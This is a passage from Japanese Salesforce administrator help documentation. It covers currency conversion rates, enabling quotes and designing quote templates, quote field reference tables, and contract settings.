織で使用されるすべての通貨項目に適用されます。組織によっては、これらの
換算レートの他に、商談および商談商品用の期間指定換算レートが使用されて
いる場合があります。
1. [設定] で [通貨の管理] を検索します。
2. 高度な通貨管理を使用する場合は、[通貨の管理] をクリックします。
3. [有効な通貨] リストまたは [無効な通貨] リストで、[換算レートの編集] をク

リックします。
4. マスタ通貨と他の通貨の間の換算レートを入力します。
5. [保存] をクリックします。
換算レートを変更すると、通貨金額は新しいレートを使用して更新されます。
前の換算レートは保存されません。商談、売上予測、およびその他の金額の中
で行われる変換では、現在の換算レートが使用されます。
組織で高度な通貨管理を有効にしている場合は、商談および商談商品の通貨項
目の期間指定換算レートも管理できます。

メモ:

• 通貨の変動による収益の増減は把握できません。
• 換算レートを変更すると、積み上げ集計項目の一括再計算が実行されま

す。この再計算には、影響を受けるレコードの件数によって、最長 30

分かかります。
• API を使用して換算レートを変更することもできます。ただし、同じ通

貨項目で別の積み上げ集計の再計算が進行中の場合は、そのジョブの経
過時間がトリガした再計算ジョブに影響を与えます。API を使用して通
貨レートの変更を要求したときに関連ジョブが進行中の場合は、次のよ
うになります。
– 同じ通貨項目の別の再計算が 24 時間以内に開始された場合、通貨

レートの変更は保存されません。ジョブを後から再試行するか、[設
定] の [通貨の管理] から通貨レートを変更します。[設定] から変更を
開始すると、古いジョブが停止し、再計算の実行がトリガされます。

– 同じ通貨項目の別の再計算が 24 時間以上前に開始された場合、通貨
レートの変更を保存して、ジョブを開始できます。
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再計算ジョブの状況を確認するには、[設定] で [バックグラウンドジョブ] ページを表示します。

関連トピック:

個人設定の通貨または組織の通貨の設定
高度な通貨管理について
マルチ通貨の管理
通貨の有効化と無効化

期間指定換算レートの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

新しい期間指定換算レートを追加する手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「通貨の管理」と入力し、[通貨の管理]

を選択します。
2. [期間指定換算レートの管理] をクリックします。
3. [新規換算レート] をクリックします。
4. 換算レートが有効になる日付を入力します。
5. 換算レートを入力します。

メモ: 換算レートのデフォルトは、現在の換算レートです。通貨の新し
い換算レートを設定したくなければ、換算レートを削除します (項目を
空白にしておきます)。

6. 新しい期間指定換算レートを保存するには、[保存] をクリックします。
既存の期間指定換算レートを表示する手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「通貨の管理」と入力し、[通貨の管理]

を選択します。
2. [期間指定換算レートの管理] をクリックします。
3. 表示する日付の範囲を、日付を入力して [Go!]をクリックするか、[前の期間]

または [次の期間] をクリックして選択します。
特定の通貨の期間別変換レートを削除する手順は、次のとおりです。
1. [設定] から [クイック検索] ボックスに「通貨の管理」と入力し、[通貨の管理] を選択します。
2. [期間指定換算レートの管理] をクリックします。
3. 編集する通貨の名前をクリックします。
4. 削除する日付の範囲の [削除] をクリックします。

希望する日付の範囲が表示されない場合は、[開始日の定義が次の範囲内にあるすべての換算レートを表示:]

項目に日付を入力し、[Go!] をクリックします。

特定の通貨の期間別変換レートを編集する手順は、次のとおりです。
1. [設定] から [クイック検索] ボックスに「通貨の管理」と入力し、[通貨の管理] を選択します。
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2. [期間指定換算レートの管理] をクリックします。
3. 編集する通貨の名前をクリックします。
4. 編集したい日付の範囲の[編集]をクリックします。希望する日付の範囲が表示されない場合は、[開始日の

定義が次の範囲内にあるすべての換算レートを表示:] 項目に日付を入力し、[Go!] をクリックします。
5. 換算レートを編集して、日付の範囲の新しい値に設定し、[保存] をクリックします。

関連トピック:

高度な通貨管理について
マルチ通貨の管理
通貨の有効化と無効化

見積の有効化とカスタマイズ

見積の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積を有効または無効に
する
• 「アプリケーションの

カスタマイズ」

営業担当が、会社で提供する商品およびサービスの価格を顧客に提示しやすく
します。
1. [設定] から、[クイック検索]ボックスに「見積」と入力し、[見積設定] (Lightning

Experience) または [見積設定] (Salesforce Classic) をクリックします。
2. 見積を有効化するためのオプションを選択します。
3. 標準の商談ページレイアウトに [見積] 関連リストを表示するには、[商談のレ

イアウト] を選択します。
4. ユーザがカスタマイズしたすべての商談ページレイアウトに [見積] 関連リス

トを追加するには、[各ユーザの「マイディスプレイのカスタマイズ」に変更を
反映させる (関連リストの表示)] を選択します。

5. 変更内容を保存します。

メモ: 次の場合は、見積機能を無効にできません。
• レコードに、数式項目、トリガ、ワークフロールール、承認プロセスな

どのアプリケーションのカスタマイズから見積、見積品目名、または見
積 PDF への参照がある場合。これらの参照を削除してから機能を無効に
します。

• 見積が商談と同期している場合。同期している各見積の詳細ページで、
同期を停止してから機能を無効にします。

関連トピック:

見積
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見積テンプレート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積テンプレートを使用すると、営業担当が会社の商品およびサービスの見積
を作成する方法をカスタマイズできます。営業担当は、見積レコードから標準
またはカスタマイズされた見積テンプレートを選択して、見積 PDF を生成し、
顧客にメール送信できます。

見積テンプレートの作成に関する考慮事項
見積テンプレートを作成する前に、次のいくつかの重要事項に留意してくだ
さい。
見積テンプレートの作成、プレビュー、および有効化
営業担当が見積 PDF を作成するときに選択できるテンプレートを作成して、
会社の見積 PDF のデザインを定義します。
見積テンプレートの拡張
見積テンプレートを作成したら、機能を追加して拡張します。
見積テンプレートの項目
見積テンプレートで作業している場合は、見積テンプレートの項目の詳細を確認します。
見積テンプレートへの画像の追加に関する考慮事項
見積テンプレートに画像を追加する前に、次のいくつかの重要事項に留意してください。

見積テンプレートの作成に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積テンプレートを作成する前に、次のいくつかの重要事項に留意してくださ
い。
• 見積 PDF では、右から左へ記述される言語はサポートされません。テキスト

は左揃えで表示されます。
• アラビア語や日本語など Unicode 言語の[テキスト/画像項目]では、テキスト

書式設定を使用できません。これらの言語をプレーンテキストで表示できる
ようにするには、Salesforce に連絡し、見積 PDF のリッチテキストエリア項目
で外部文字をサポートする機能を有効にするように依頼してください。

• 見積では高度な通貨管理を使用できません。
• 見積テンプレートの[テキスト/画像項目]で使用可能な最大文字数は 32,000 文

字です。この数には、テキストの書式設定に使用される非表示の HTML 文字
も含まれます。

• 状況によって、項目が見積テンプレートのパレットや、テンプレートから作
成された PDF に表示されないことがあります。
– 項目のデフォルト値が 225 文字を超える場合は、見積テンプレートにテキストエリアまたはテキスト項

目を含めることができません。
– 項目レベルセキュリティ設定によってユーザが項目を表示または更新できない場合は、テンプレートに

その項目が含まれていても、テンプレートから作成された PDF にその項目は表示されません。PDF には
参照のみの項目が表示されます。
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– 見積ページレイアウトに項目は表示されているが、特定の見積にデータがない場合、その項目は見積テ
ンプレートのパレットには表示されますが、PDF が作成されるときには表示されません。

– 見積品目名の項目にデータがない場合、テンプレートにその項目が含まれていても、PDF 作成時にリス
トに列として表示されません。たとえば、見積品目名に割引を提供するものがない場合、リストに [割
引] 項目が含まれていても、[割引] 列は表示されません。

– 見積ページレイアウトに関連リストが含まれていない場合は、テンプレートパレットにも、そのページ
レイアウトを使用する見積 PDF にも関連リストが表示されません。

– マルチ通貨組織において、商談の商品の通貨がユーザの通貨と異なる場合、見積および見積品目名の通
貨項目は両方の通貨で表示されます。商品の通貨がユーザの通貨に変換され、変換された金額が括弧に
囲まれて表示されます。見積のカスタムレポートの項目は、レポートの通貨で表示されます。通貨の項
目には、[小計]、[税金]、[総計] などがあります。

– Developer Sandbox またはDeveloper Pro Sandbox を作成する場合、Sandbox 内で[テキスト/画像]項目を含むテ
ンプレートを開いて編集することはできません。

• セクション内の項目はリスト内の列と配置が異なるため、リストの下に合計セクションを配置した場合に、
その項目値が右側のリストの値のすぐ下に並びません。たとえば、テンプレートに見積品目名のリストが
あり、右端の [合計金額] 列に各品目名の合計が示されているとします。リストの下に合計セクションを追
加して、[小計]、[合計金額]、[総計]の各項目を含めた場合、それぞれの値はすべての品目名の合計を示
しますが、金額がリストの [合計金額] 列の下に並びません。

関連トピック:

見積テンプレートの作成、プレビュー、および有効化
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見積テンプレートの作成、プレビュー、および有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積テンプレートを作成
する
• 「アプリケーションの

カスタマイズ」

見積テンプレートを表示
する
• 「設定・定義を参照す

る」

営業担当が見積 PDF を作成するときに選択できるテンプレートを作成して、会
社の見積 PDF のデザインを定義します。
1. [設定] から、[クイック検索] ボックスに「テンプレート」と入力し、[見積テ

ンプレート] (Lightning Experience) または見積の下の [テンプレート] (Salesforce

Classic) をクリックします。
2. [新規] をクリックして、[標準テンプレート] など、新しいテンプレートの基

盤となるテンプレートを選択します。
3. 新しいテンプレートに名前を付けて、[保存] をクリックします。
4. テンプレートエディタで、必要な要素をテンプレートにドラッグし、詳細を

入力します。各要素を追加する手順は、次のとおりです。
• 関連オブジェクトから 1 つ以上の見積項目が必要な場合は、[セクション]

を使用して項目をセクションに追加します。
• 契約条件など、編集や書式設定が可能なテキストが必要な場合は、[テキ

スト/画像項目] を使用します。
• 会社のロゴなどの画像が必要な場合は、[テキスト/画像項目]を使用しま

す。
• 見積項目や別のオブジェクト (見積品目名など) の項目のテーブルが必要

な場合は、[リスト] を使用します。

5. 変更を保存してテンプレートの作業を続行するには、[適用] をクリックしま
す。

6. [保存してプレビュー] をクリックして、ユーザが作成する見積 PDF がどのよ
うに表示されるかを確認します。
プレビューでは、システム管理者プロファイルビューにテンプレートが表示されます。プレビューおよび
テンプレートでは、追加したリッチテキストおよび画像が表示されます。その他のデータはシミュレーショ
ンされます。

重要: [保存してプレビュー]はテンプレートへの変更を保存するため、プレビュー後、変更を基に戻す
ことはできません。

7. 終了したら、[保存] をクリックします。
8. [見積テンプレート] ページに戻って、[有効化] をクリックします。

関連トピック:

見積テンプレートの拡張
見積テンプレートの項目
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見積テンプレートの拡張

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積テンプレートを作成したら、機能を追加して拡張します。

見積テンプレートへのリッチテキストの追加
会社の住所や契約条件など書式設定可能なテキストを、見積テンプレートの
本文、ヘッダー、フッターに挿入します。
見積テンプレートへのリストの追加
見積品目名や、見積オブジェクトと参照関係を持つ他の標準またはカスタム
オブジェクトの項目を配置して表示します。追加されたリストはテーブルに
似ていますが、項目名が列として表示されます。
見積テンプレートへの画像の追加
会社のロゴなどの画像を、見積テンプレートの本文、ヘッダー、フッターに
表示します。
見積テンプレートへの合計セクションの追加
見積の小計および総計金額を挿入します。
見積テンプレートへの署名ブロックの追加
署名および日付の行を作成して、顧客が見積を簡単に承認できるようにします。
見積テンプレートエディタの使用に関するガイドライン
見積テンプレートを作成および編集するときは、次のガイドラインで追加情報を参照してください。
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見積テンプレートへのリッチテキストの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積テンプレートを作成
する
• 「アプリケーションの

カスタマイズ」

見積テンプレートを表示
する
• 「設定・定義を参照す

る」

会社の住所や契約条件など書式設定可能なテキストを、見積テンプレートの本
文、ヘッダー、フッターに挿入します。
1. [テキスト/画像項目] をヘッダー、フッター、または本文の任意のセクショ

ンの位置にドラッグします。
2. 項目にテキストを入力または貼り付けます。
3. 必要に応じてテキストの書式設定を行います。
4. [OK] をクリックします。

関連トピック:

見積テンプレートエディタの使用に関するガイドライン
見積テンプレートへの画像の追加
見積テンプレートの拡張
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見積テンプレートへのリストの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積テンプレートを作成
する
• 「アプリケーションの

カスタマイズ」

見積テンプレートを表示
する
• 「設定・定義を参照す

る」

見積品目名や、見積オブジェクトと参照関係を持つ他の標準またはカスタムオ
ブジェクトの項目を配置して表示します。追加されたリストはテーブルに似て
いますが、項目名が列として表示されます。
リストには最大 10 項目を含めることができます。

メモ: リストを見積テンプレートのヘッダーやフッターに追加することは
できません。

1. リストをパレットからテンプレートにドラッグします。
2. リストのタイトルを入力します。テンプレートまたは PDF にタイトルが表示

されないようにするには、[タイトルを非表示] を選択します。
3. [オブジェクト]項目で、リストに表示する項目を持つオブジェクトを選択し

ます。
4. [追加] および [削除] 矢印を使用して、[選択可能な項目] リストから [選択済み

の項目] リストに列を移動します。[上へ]と [下へ]矢印を使用して、列の順序
を変更します。

5. [OK] をクリックします。

関連トピック:

見積テンプレートエディタの使用に関するガイドライン
見積テンプレートの拡張

2245

見積の有効化とカスタマイズ販売ツールの設定および管理



見積テンプレートへの画像の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積テンプレートを作成
する
• 「アプリケーションの

カスタマイズ」

見積テンプレートを表示
する
• 「設定・定義を参照す

る」

会社のロゴなどの画像を、見積テンプレートの本文、ヘッダー、フッターに表
示します。
操作を開始する前に、主な考慮事項を確認してください。
アップロードした画像を挿入する

1. Salesforce CRM Contentに保存されている画像を使用するには、画像の場所を
探して、ローカルファイルディレクトリにダウンロードします。

2. [テキスト/画像項目] をヘッダー、フッター、または本文の任意のセク
ションの位置にドラッグします。

3. 画像アイコンをクリックして、[ファイルを選択] をクリックしてから、
ファイルディレクトリ内の画像を選択します。

4. [開く] をクリックしてから、[挿入] をクリックします。
項目に画像が表示されます。画像サイズを変更する場合は、サイズ変更
ハンドルをドラッグします。このハンドルに、画像の縦横のサイズがピ
クセル単位で示されます。

5. [OK] をクリックします。
6. テンプレートから作成された PDF で画像がどのように表示されるかを確認

するには、[保存してプレビュー] をクリックします。
7. テンプレートまたは PDF にタイトルが表示されないようにするには、[セ

クションプロパティ] で [タイトルを非表示] を選択します。
Salesforce Web アドレスから画像を挿入する

1. 必要に応じて、[ドキュメント] タブに画像をアップロードするか、静的リ
ソースを定義します。

2. [テキスト/画像項目]をヘッダー、フッター、または本文の任意のセクションの位置にドラッグします。
3. テンプレートまたは PDF にタイトルが表示されないようにするには、[タイトルを非表示]を選択します。
4. [OK] をクリックします。
5. [ドキュメント] タブまたは [静的リソース] ページで、画像の詳細ページを開き、[ファイルを表示] をク

リックしてその URL をコピーします。
6. 見積テンプレートエディタで、[テキスト/画像項目] のタイトルバーにある をクリックします。
7. 画像アイコンをクリックして、[Web アドレス] タブをクリックします。
8. URL を URL 項目に貼り付けてから、[挿入] をクリックします。

項目に画像が表示されます。サイズ変更ハンドルをドラッグすると、画像サイズを変更できます。この
ハンドルに、画像の縦横のサイズがピクセル単位で示されます。

9. [OK] をクリックします。
10. テンプレートから作成された PDF で画像がどのように表示されるかを確認するには、[保存してプレ

ビュー] をクリックします。
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重要: 画像が保存されている [ドキュメント] タブまたは [静的リソース] ページから画像を削除すると、
テンプレートにその画像が使用できないというメッセージが表示されます。画像を再保存してからテ
ンプレートを開き、エラーメッセージ画像を削除して、URL をもう一度貼り付けます。

関連トピック:

見積テンプレートエディタの使用に関するガイドライン
見積テンプレートの拡張

見積テンプレートへの合計セクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積テンプレートを作成
する
• 「アプリケーションの

カスタマイズ」

見積テンプレートを表示
する
• 「設定・定義を参照す

る」

見積の小計および総計金額を挿入します。
1. 次のいずれかの操作を実行します。

a. テンプレートを作成するときに [標準テンプレート] を選択し、必要に応
じて合計セクションを変更します。

b. セクションをテンプレートのレイアウトにドラッグしてから、合計関連
の項目 ([小計]や [総計]など) をセクションの右半分にドラッグします。
リストのすぐ下にセクションを配置する場合は、タイトルを非表示にし
ます。

2. をクリックし、項目の配置で右を選択します。
3. 変更内容を保存します。

関連トピック:

見積テンプレートエディタの使用に関するガイドライン
見積テンプレートの拡張
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見積テンプレートへの署名ブロックの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積テンプレートを作成
する
• 「アプリケーションの

カスタマイズ」

見積テンプレートを表示
する
• 「設定・定義を参照す

る」

署名および日付の行を作成して、顧客が見積を簡単に承認できるようにします。
1. [テキスト/画像項目] をテンプレートのフッターにドラッグします。署名ブ

ロックを右揃えにする場合、または署名ブロックを 2 つ作成する場合は、列
を 2 つ使用します。

2. 作成する行ごとに表示ラベルを入力します。たとえば、「署名」、「氏名」、
「役職」、「日付」などと入力します。

3. 顧客が署名したり他の情報を記入したりするための行を作成するには、アン
ダースコアキーを押したままにします。

4. [OK] をクリックします。
5. 変更内容を保存します。

関連トピック:

見積テンプレートエディタの使用に関するガイドライン
見積テンプレートの拡張

見積テンプレートエディタの使用に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積テンプレートを作成および編集するときは、次のガイドラインで追加情報
を参照してください。
一般的なガイドライン
• 上部のパレットの下にある をクリックすると、パレットを展開したり

折りたたんだりすることができます。
• 左側の列でオブジェクトを選択すると、パレットにその項目が表示されま

す。
• [クイック検索] を使用すると、パレット上の項目を簡単に検索できます。
• テンプレートに要素を追加するには、パレットから要素をレイアウトにド

ラッグします。
• レイアウトから要素を削除するには、要素をパレットにドラッグするか、要

素のタイトルバーにマウスを置いて をクリックします。
• どのセクション (ヘッダーやフッターを含む) でも、次の操作を実行する場合

は、そのタイトルバーをダブルクリックするか、 をクリックします。
– セクションのタイトルを非表示にする。
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– 項目の表示ラベルを非表示にする (見積テンプレートエディタには項目名がグレーで表示されますが、
見積 PDF には表示されません)。

– 列数 (1 または 2) を変更する。
– 項目の配置を調整する。

• テンプレートの名前を変更するには、[見積テンプレートのプロパティ] をクリックします。
• 見積テンプレートのセクション、ヘッダー、フッターに、表示ラベルを付けずに項目内容を表示するには、

をクリックして、[非表示] チェックボックスをオンにします。
• [空白スペース] 項目を使用して、テンプレート上の任意の場所に垂直方向のスペースを追加します。
ヘッダーとフッターの使用に関するガイドライン
ヘッダーもフッターも基本的には 1 つのセクションです。どちらにも項目を追加したり、そのタイトルを表示
または非表示にしたりすることができます。ヘッダーまたはフッターを削除したり、それらに他のセクション
を追加したりすることはできません。
• 見積テンプレートエディタで、オブジェクトを選択して、必要な項目をヘッダーまたはフッターにドラッ

グします。
• 会社のロゴなどの画像を使用する場合、または、契約条件などの拡張情報を挿入する場合は、[テキスト/

画像項目]を使用します。
• ヘッダーまたはフッターの列数を変更するには、 をクリックして、必要な数 (1 または 2) を選択します。

– ページの左から右にまたがる画像を表示するには、1 列のヘッダーまたはフッターを使用します。
– 契約条件テキストの場合は、1 列のフッターを使用します。

• 列内の項目の配置を変更するには、 をクリックして、左または右の配置を選択します。
• 項目の表示ラベルを非表示にするには、 をクリックして、[非表示]チェックボックスをオンにします。

関連トピック:

見積テンプレートの拡張

見積テンプレートの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積テンプレートで作業している場合は、見積テンプレートの項目の詳細を確
認します。

メモ: テンプレートの項目を選択するときに取得する情報を理解しやすい
ように、次の表の「テンプレートの項目名」列にはテンプレートから作成
される PDF には表示されない補足情報が記載されています。

PDF の項目名テンプレートの項
目名

オブジェクト項目オブジェクト

担当営業担当営業 (名前)姓、名ユーザ

メール担当営業 (メール)メールユーザ

電話担当営業 (電話)電話ユーザ
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PDF の項目名テンプレートの項目名オブジェクト項目オブジェクト

Fax担当営業 (Fax)Faxユーザ

会社住所組織 (住所)住所組織情報

作成日見積 PDF (作成日)非表示。PDF が生成され、
見積ドキュメントオブジェ
クトに保存された日付。

見積ドキュメント

関連トピック:

見積テンプレートの作成、プレビュー、および有効化

見積テンプレートへの画像の追加に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積テンプレートに画像を追加する前に、次のいくつかの重要事項に留意して
ください。
• アップロードする画像は、各自のファイルシステムか、Salesforce CRM Content

に保存できます。
• 画像を [ドキュメント] タブまたは [静的リソース] ページに保存する場合は、

画像の挿入に使用できる Web アドレスを取得します。
• 挿入する画像のサイズが大きすぎると、ユーザがテンプレートから見積 PDF

を作成するときにトリミングされます。トリミングされないようにするに
は、画像を挿入してから [保存してプレビュー]をクリックし、必要に応じて
画像サイズを変更します。

• Salesforce アプリケーションの外部にある公開 Web アドレス (会社の Web サイ
トなど) から画像を挿入する場合は、Salesforceに連絡し、Salesforce組織でこの
公開 URL をホワイトリストに登録するように依頼してください。

関連トピック:

見積テンプレートへの画像の追加
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見積の項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積のトラブルシューティングを行っている場合やカスタム項目を処理してい
る場合は、見積の項目の詳細を確認します。
以下の表では、見積を構成する項目について説明します。表示可能な項目や編
集可能な項目は、ページレイアウト、項目レベルセキュリティ設定、および
Salesforceのエディションよって決まります(項目レベルセキュリティは、Professional

Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition

Edition で使用できます)。

メモ: マルチ通貨組織において、商談の商品の通貨がユーザの通貨と異な
る場合、見積および見積品目の通貨項目は両方の通貨で表示されます。商
品の通貨がユーザの通貨に変換され、変換された金額が括弧に囲まれて表
示されます。見積のカスタムレポートの項目は、レポートの通貨で表示さ
れます。通貨の項目には、[小計]、[税金]、[総計] などがあります。

説明項目

見積の商談がリンクされている取引先の名前。
(参照のみ)

取引先名

追加の住所項目。デフォルトでは、ページレイ
アウトに表示されません。

追加先

追加の住所に関連付けられている個人または会
社の名前。

追加先名

見積に関連付けられている取引先の請求先住所。請求先

見積の請求先の個人または会社の名前。請求先名

見積が関連付けられている取引先責任者の名前。
デフォルトでは、この取引先責任者が商談の主
取引先責任者になります。

取引先責任者名

見積に関連付けられている契約。契約

見積を作成したユーザと作成日時。(参照のみ)作成者

見積の説明、または見積のバージョンを区別す
るためのメモ。

説明

見積の全品目名の割引の加重平均。100 までの正
の数です。(参照のみ)

割引

見積に関連付けられている取引先責任者のメー
ルアドレス。可能な場合は、取引先責任者を追
加したときに自動入力されます。

メール

この見積が有効でなくなる日付。有効期限
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説明項目

見積に関連付けられている取引先責任者の Fax 番号。可能な場合
は、取引先責任者を追加したときに自動入力されます。

Fax

送料と税金を加算した見積の合計金額。(参照のみ)総計

見積を最後に変更したユーザと変更日時。(参照のみ)最終更新者

見積の品目名の数。品目名

見積に関連付けられている商談の名前。(参照のみ)商談名

見積に関連付けられている取引先責任者の電話番号。可能な場合
は、取引先責任者を追加したときに自動入力されます。

電話

見積の名前。見積名

見積を識別するシステム生成番号。(参照のみ)見積番号

購入者の代理を務めるサードパーティーエージェンシーの住所な
ど、承認を得るために見積を送付する住所。デフォルトでは、ペー
ジレイアウトに表示されません。

見積先

承認を得るために見積を送信するエンティティ (個人または法人)

の名前。
見積先名

どのような選択リスト値がそのレコードで使用可能かを決定する
項目名。セールスプロセスにレコードタイプを関連付けることが

レコードタイプ

できます。使用可能なエディションは、Professional Edition、Enterprise

Edition、Unlimited Edition、Performance Edition、および Developer Edition

です。

見積の送料と手数料の合計額。送料および手数料

見積に関連付けられている取引先の納入先住所。納入先

見積品目を納入するエンティティ (個人や法人など) の名前。納入先名

見積の状況。標準のオプションは次のとおりです。状況

• —なし—

• ドラフト
• 要レビュー
• レビュー中
• 承認済み
• 却下済み
• 提出済み
• 受諾
• 拒否
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説明項目

システム管理者が、新しい見積のデフォルトの状況、および見積
PDF をメール送信できる状況を決定します。

割引、税金、送料を適用する前の見積品目の合計。(参照のみ)小計

見積が関連付けられている商談と同期するかどうかを示します。
(参照のみ)

同期中

見積の税金の合計。消費税等

割引を適用した後、税金と送料を適用する前の見積品目の合計。
(参照のみ)

合計金額

見積品目の項目

説明項目

品目名を作成したユーザと作成日時。(参照のみ)作成者

商品のサービス日、有効日、その他の日付。日付

品目名に適用する割引。パーセント記号ありまたはなしで数値を
入力します。小数点以下は最大 2 桁です。

割引

品目名を最後に変更したユーザと変更日時。(参照のみ)最終更新者

品目名ごとの商品の説明。明細説明

品目名を識別するシステム生成番号。(参照のみ)品目番号

価格表内の商品の価格 (通貨を含む)。(参照のみ)リスト価格

価格表に記載される商品の品目名。(参照のみ)商品

商品を識別するために使用する内部コードまたは商品番号。商品コード

見積に含まれるこの品目名の商品の単位数。この値は 1 以上でなけ
ればなりません。見積が商談と同期されている場合、この項目は

数量

見積品目から商談の商品に更新されます。商談に売上予測を使用
している場合は、[商談売上予測の編集] ページの [商品] リストにも
この項目が表示されます (使用する売上予測のバージョンによって
異なります)。

品目名が記載される見積の名前。見積名

商品に使用する価格。最初は、価格表に記載されている商品のリ
スト価格が商談または見積の商品の販売価格になりますが、この

販売価格

項目で変更できます。見積が商談と同期されている場合、この項
目は見積品目から商談の商品に更新されます。商談に売上予測を
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説明項目

使用している場合は、[商談売上予測の編集] ページの [商品] リスト
にもこの項目が表示されます (使用する売上予測のバージョンに
よって異なります)。

商談で品目名がスケジュールを使用するかどうかを示します。商
談の商品が見積にコピーされる場合は、商談のデフォルトのスケ
ジュールが継承されません。

スケジュール

品目名の販売価格に数量を乗じた金額。小計

品目名の販売価格に数量を乗じて、割引を引いた金額。合計金額

契約のオプションのカスタマイズ

契約をカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

契約を使用可能なエディ
ション: Performance
Edition、Developer Edition

契約を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Unlimited Edition
(Sales Cloud 付属)

ユーザ権限

契約設定を変更する
• 「アプリケーションの

カスタマイズ」

社内契約管理プロセスを処理するよう Salesforce をカスタマイズします。
契約の設定ページにアクセスするには、[設定] から [クイック検索] ボックスに
「契約の設定」と入力し、[契約の設定] を選択します。

契約終了通知の有効化
契約の期限が切れたときに、取引先および契約の所有者にメール通知を送信し
ます。
1. [契約終了通知メールを取引先と契約所有者に送信する] を選択して、変更を

保存します。
2. 終了通知の送信を停止するには、このオプションの選択を解除して、変更を

保存します。

契約終了日の自動計算の有効化
契約終了日を自動的に計算するには、[契約終了日の自動計算]を選択して、変更
を保存します。

メモ:

• Salesforceで自動的に契約終了日を計算すると、契約の編集ページには表
示されません。

• [契約終了日の自動計算] が有効で、契約開始日または契約期間が空白の
場合、契約終了日は空白になります。
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契約終了日の自動計算の無効化
契約に終了日を設定しない場合、または営業チームが手動で入力する場合は、契約終了日の自動計算を無効に
します。
1. [契約終了日の自動計算] の選択を解除して、変更を保存します。
2. ページレイアウトを表示したり、契約終了日、契約開始日、および契約期間の項目レベルセキュリティを

表示したりして、営業チームが必要に応じて、これらの項目を参照し編集できることを確認します。

すべての状況の履歴の追跡
デフォルトでは、状況が [承認処理中] または [有効] の契約の履歴が追跡されます。
すべての状況の契約の履歴を追跡するには、[すべての状況の履歴管理] を選択して、変更を保存します。

商談または見積の詳細への契約の表示
商談または見積の詳細に契約を表示するには、項目レベルセキュリティと項目アクセス許可を使用します。
1. [設定] から [クイック検索] ボックスに「オブジェクトマネージャ」と入力し、[オブジェクトマネージャ]を

選択します。
2. 商談または見積のオブジェクト管理設定で、項目領域の [契約] をクリックします。
3. [項目レベルセキュリティの設定] をクリックします。
4. 商談または見積の詳細に契約を表示するプロファイルごとに [参照可能] を選択して、変更を保存します。
5. [項目アクセス許可の参照] をクリックします。
6. プロファイルが非表示にマークされている場合は、[非表示]をクリックして、ページレイアウトで [参照可

能] を選択します。
7. 変更内容を保存します。プロファイルが編集可能としてマークされます。
契約に [商談] または [見積] 関連リストを表示するには、ページレイアウトを使用します。

契約 Chatter フィードを有効化
契約項目を追加して Chatter で監視します。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィード追跡] を選択します。
2. オブジェクトのリストで、[契約] を選択します。
3. [フィード追跡の有効化] チェックボックスをオンにして、追跡する項目のチェックボックスをオンにしま

す。
4. 変更内容を保存します。

関連トピック:

オブジェクト管理設定の検索
契約
注文設定のカスタマイズ
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注文書のオプションのカスタマイズ

注文設定のカスタマイズ

エディション

